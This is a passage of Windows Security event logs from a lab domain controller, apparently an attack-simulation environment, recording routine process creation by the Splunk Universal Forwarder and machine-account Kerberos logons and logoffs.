TaskCategory=Process Creation
OpCode=Info
RecordNumber=255601
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1118
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:22:20 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255602
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x32F0A4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:22:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255605
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3324C0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:22:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255604
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3324C0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		64558

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:22:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255603
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3324C0

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:23:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255606
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcfc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:23:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255607
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xce0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:23:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255609
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1244
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:23:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255608
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc9c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:23:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255611
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa2c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:23:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255610
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x99c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:23:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255612
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1034
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:23:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255613
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x32EE66

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:23:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255616
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x335A6D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:23:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255615
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x335A6D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		64571

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:23:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255614
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x335A6D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:24:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255617
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x79c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:24:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255618
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x60c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:24:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255620
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf6c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:24:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255619
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x7b0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:24:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255622
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x630
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:24:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255621
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x784
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:24:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255623
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd8c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

